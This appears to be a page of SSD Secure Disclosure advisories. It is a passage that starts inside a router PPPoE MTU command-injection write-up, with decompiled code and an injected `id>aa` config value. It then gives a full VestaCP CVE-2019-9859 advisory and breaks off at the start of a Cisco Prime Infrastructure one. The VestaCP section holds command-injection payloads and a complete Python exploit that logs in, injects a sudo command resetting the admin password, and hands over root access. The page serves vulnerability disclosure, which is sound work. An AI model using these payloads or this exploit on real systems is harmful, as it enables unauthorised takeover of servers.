        v9 = (Json::Value *)Json::Value::operator[](a2, "mtu_config");
        v10 = Json::Value::asCString(v9);
        snprintf((char *)(v2 + 700), 8uLL, "%s", v10);  // !!! length is limited
      }
      else
      {
        snprintf((char *)(v2 + 700), 8uLL, "%s", v2 + 368);
      }
      if ( (unsigned __int8)Json::Value::isMember(a2, "is_default_gateway") )
      {
        v14 = (Json::Value *)Json::Value::operator[](a2, "is_default_gateway");
        *(_DWORD *)(v2 + 708) = (unsigned __int8)Json::Value::asBool(v14);
        result = 0LL;
      }
      else
      {
        *(_DWORD *)(v2 + 708) = *(_DWORD *)(v2 + 376);
        result = 0LL;
      }
    }
  }
  else
  {
    syslog(3, aSDNo, "pppoe_interface.cpp", 407LL);
    result = 0xFFFFFFFFLL;
  }
  return result;
}

Then in the shell script /usr/sbin/pppoe-start the file /etc/ppp/pppoe.conf will be executed in the shell environment.

# content from /etc/ppp/pppoe.conf
# Ethernet card connected to DSL modem
ETH=eth0
# PPPoE user name.
USER='test'
# ...
MTU=`id>aa`    # corresponding to the poc.py
# content from the /usr/sbin/pppoe-start script
CONFIG=/etc/ppp/pppoe.conf
USER=""
ETH=""
ME=`basename $0`
# ...
export CONFIG
. $CONFIG	# execute here

As we can see, the injected command through the MTU parameter will be executed thus causing the vulnerability, but it is still limited by the length of the parameter.
Note: To exploit this vulnerability the user has to be authenticated and in order to access the EZ-Internet functionality he has to be in the administration group

SSD Advisory – Vesta CP Remote Command Execution To Privilege Escalation

Vulnerabilities Summary
The following advisory describes a vulnerability in Vesta control panel (VestaCP), an open source hosting control panel, which can be used to manage multiple websites, create and manage email accounts, FTP accounts, and MySQL databases, manage DNS records and more.
CVE
CVE-2019-9859
Credit
An independent Security Researcher, 0xecute, has reported this vulnerability to SSD Secure Disclosure program.
Affected systems
VestaCP versions 0.9.7-0.9.8-23.
Vendor Response
The vendor released a fixed version on April 15.
Vulnerability Details
VestaCP is vulnerable to an authenticated command execution which
can result a remote root access on the server.
The platform works with PHP as the frontend language and uses shell scripts to execute system actions. PHP executes shell script through the dangerous command exec. This function can be dangerous if arguments passed to it are not filtered. Every user input in VestaCP that is used as argument is filtered with the escapeshellarg function. This function comes from the php library directly and its description is as follow:
escapeshellarg() adds single quotes around a string and quotes/escapes any existing single quotes allowing you to pass a string directly to a shell function and having it be treated as a single safe argument. It means that if you give Username, it will be replaced with ‘Username’. This works well and protects users from exploiting this potentially dangerous exec function.
Unfortunately, VestaCP uses this escapeshellarg function wrong at several places. We can see an example in web\list\dns\index.php:
exec (VESTA_CMD."v-list-dns-records '".$user."' '".escapeshellarg($_GET['domain'])."' 'json'", $output, $return_var);
We can see the escapeshellarg use on the user input, but it is surrounded by single quote! If we remember the goal of escapeshellarg, it already adds a single quote around the input.
This error means that if we give an input with a space, we are not inside the second argument of the v-list-dns-records function and not surrounded by single quote anymore.
It will give for $_GET[‘domain’]=abc `touch/tmp/hacked` the following
Exec(v-list-dns-records ‘username’ ‘’abc `touch /tmp/hacked`) This will consider ‘’abc as the second argument, and `touch /tmp/hacked` will be executed as a system command as it is outside quotes.
This error can be found in the following files:
web\edit\server\index.php : 4 times
web\list\dns\index.php: 1 time
web\list\mail\index.php: 1 time
Exploit

import requests
from bs4 import BeautifulSoup
username='simpleUser'
password='welcome123'
serverIP='https://192.168.56.102:8083'
newRootPassword='welcomeRoot'
vestaPath='/usr/local/vesta'
cmd='sudo '+vestaPath+'/bin/v-change-user-password admin '+newRootPassword
s = requests.session()
r = s.get(serverIP+'/login/', verify=False)
soup = BeautifulSoup(r.text, features="html.parser")
token = soup.find('input', {'name': 'token'}).get('value')
print(token)
## Authentication ##
loginR = s.post(serverIP+"/login/", allow_redirects=False, data={'token':token,'user':username,'password':password},headers={'Referer':serverIP+'/login/','User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64;rv:65.0)Gecko/20100101 Firefox/65.0'}, verify=False)
if loginR.status_code!=302:
	print("Wrong login")
	print(loginR.text)
	print(loginR.status_code)
	print(loginR.headers)
	exit()
## Exploit ##
exploitR = s.get(serverIP+'/list/dns/index.php?domain=abc%20`'+cmd+'`')
if exploitR.status_code==200:
	print("Exploit done")
	print("You can now connect to the SSH server")
	print("Credentials: \nUsername: admin\nPassowrd: "+newRootPassword)
	print("Then, you need to execute 'sudo bash' and type again the password, then you
	are root")

SSD Advisory – Cisco Prime Infrastructure File Inclusion and Remote Command Execution to Privileges Escalation

Vulnerabilities Summary
Cisco Prime Infrastructure (CPI) contains two vulnerabilities that when exploited allow an unauthenticated attacker to achieve root privileges and execute code remotely. The first vulnerability is a file upload vulnerability that allows the attacker to upload and execute JSP files as the Apache Tomcat user. The second vulnerability is a privilege escalation to root by bypassing execution restrictions in a SUID binary.
Vendor Response
Cisco has issued an advisory, https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181003-pi-tftp, which provides a workaround and a fix for the vulnerability. From our assessment the provided fix only addresses the file uploading part of the exploit, not the file inclusion, the ability to execute arbitrary code through it or the privileges escalation issue that the product has.
CVE
CVE-2018-15379
Credit
An independent security researcher, Pedro Ribeiro, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
(more…)